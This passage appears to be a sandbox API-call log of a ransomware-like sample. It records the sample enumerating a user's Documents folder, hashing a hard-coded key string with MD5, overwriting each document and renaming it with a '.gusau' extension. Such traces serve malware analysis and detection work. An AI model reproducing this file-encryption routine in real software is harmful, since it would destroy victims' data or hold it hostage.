nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.884] CloseHandle (hObject=0x610) returned 1 [0117.885] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.885] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.885] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.885] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\0d9kggXW.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\0d9kggxw.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\0d9kggXW.pdf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\0d9kggxw.pdf.gusau")) returned 1 [0117.885] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.885] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.886] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.886] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69ce3000, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0x653311c0, ftLastAccessTime.dwHighDateTime=0x1d4c833, ftLastWriteTime.dwLowDateTime=0x653311c0, ftLastWriteTime.dwHighDateTime=0x1d4c833, nFileSizeHigh=0x0, nFileSizeLow=0xf98c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aFuREbY291J9.rtf", cAlternateFileName="AFUREB~1.RTF")) returned 1 [0117.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.886] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.887] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\aFuREbY291J9.rtf") returned=".rtf" [0117.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\aFuREbY291J9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\afureby291j9.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.888] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=63884) returned 1 [0117.888] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.890] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf966, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.890] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.892] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.892] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.892] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.892] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf98c, lpOverlapped=0x0) returned 1 [0117.893] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.893] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.893] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.893] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.893] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.894] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.894] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.894] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.894] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.894] GetLastError () returned 0x0 [0117.894] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.894] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf990) returned 0x39f9f20 [0117.894] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.894] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xf987, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xf987, lpOverlapped=0x0) returned 1 [0117.895] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.895] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf98c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.895] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.895] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.895] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.895] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.895] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.895] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.895] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.895] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.895] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.895] CloseHandle (hObject=0x610) returned 1 [0117.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0117.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.896] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\aFuREbY291J9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\afureby291j9.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\aFuREbY291J9.rtf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\afureby291j9.rtf.gusau")) returned 1 [0117.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.897] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.898] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.898] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1cc3ef0, ftCreationTime.dwHighDateTime=0x1d4ca89, ftLastAccessTime.dwLowDateTime=0xa5ba5c00, ftLastAccessTime.dwHighDateTime=0x1d4c6d3, ftLastWriteTime.dwLowDateTime=0xa5ba5c00, ftLastWriteTime.dwHighDateTime=0x1d4c6d3, nFileSizeHigh=0x0, nFileSizeLow=0x13481, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bhC_ABvBjR.ods", cAlternateFileName="BHC_AB~1.ODS")) returned 1 [0117.898] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.898] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.898] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\bhC_ABvBjR.ods") returned=".ods" [0117.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\bhC_ABvBjR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\bhc_abvbjr.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.898] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=78977) returned 1 [0117.899] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.901] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1345b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.901] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.902] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.902] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.902] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.902] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13481, lpOverlapped=0x0) returned 1 [0117.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.903] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.903] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.904] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.904] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.904] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.904] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.904] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.904] GetLastError () returned 0x0 [0117.904] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.904] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.904] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.904] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13480) returned 0x39f9f20 [0117.905] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.905] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1347c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1347c, lpOverlapped=0x0) returned 1 [0117.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.905] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.905] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.906] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.906] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.906] CloseHandle (hObject=0x610) returned 1 [0117.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.907] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\bhC_ABvBjR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\bhc_abvbjr.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\bhC_ABvBjR.ods.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\bhc_abvbjr.ods.gusau")) returned 1 [0117.907] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.907] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.908] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff536f0, ftCreationTime.dwHighDateTime=0x1d4c56b, ftLastAccessTime.dwLowDateTime=0xbd8956d0, ftLastAccessTime.dwHighDateTime=0x1d4ccad, ftLastWriteTime.dwLowDateTime=0xbd8956d0, ftLastWriteTime.dwHighDateTime=0x1d4ccad, nFileSizeHigh=0x0, nFileSizeLow=0x7207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hK5LQd-AxtZKvzbn.xlsx", cAlternateFileName="HK5LQD~1.XLS")) returned 1 [0117.908] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.908] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.908] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\hK5LQd-AxtZKvzbn.xlsx") returned=".xlsx" [0117.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\hK5LQd-AxtZKvzbn.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\hk5lqd-axtzkvzbn.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.909] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=29191) returned 1 [0117.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.912] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x71e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.912] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.913] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.913] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.913] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.913] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x7207, lpOverlapped=0x0) returned 1 [0117.914] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.914] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.914] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.914] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.914] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.915] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.915] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.915] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.915] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.915] GetLastError () returned 0x0 [0117.915] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.915] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.915] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7210) returned 0x39f9f20 [0117.915] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.915] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.915] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x7202, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x7202, lpOverlapped=0x0) returned 1 [0117.915] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.915] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.915] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.916] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.916] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.916] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.916] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.916] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.916] CloseHandle (hObject=0x610) returned 1 [0117.917] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0117.917] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0117.917] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.917] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\hK5LQd-AxtZKvzbn.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\hk5lqd-axtzkvzbn.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\hK5LQd-AxtZKvzbn.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\hk5lqd-axtzkvzbn.xlsx.gusau")) returned 1 [0117.918] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.918] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.919] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119af1f0, ftCreationTime.dwHighDateTime=0x1d4d589, ftLastAccessTime.dwLowDateTime=0xc07f4a70, ftLastAccessTime.dwHighDateTime=0x1d4cc4e, ftLastWriteTime.dwLowDateTime=0xc07f4a70, ftLastWriteTime.dwHighDateTime=0x1d4cc4e, nFileSizeHigh=0x0, nFileSizeLow=0x7ffd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lbsR.csv", cAlternateFileName="")) returned 1 [0117.919] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.919] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.919] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.919] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\lbsR.csv") 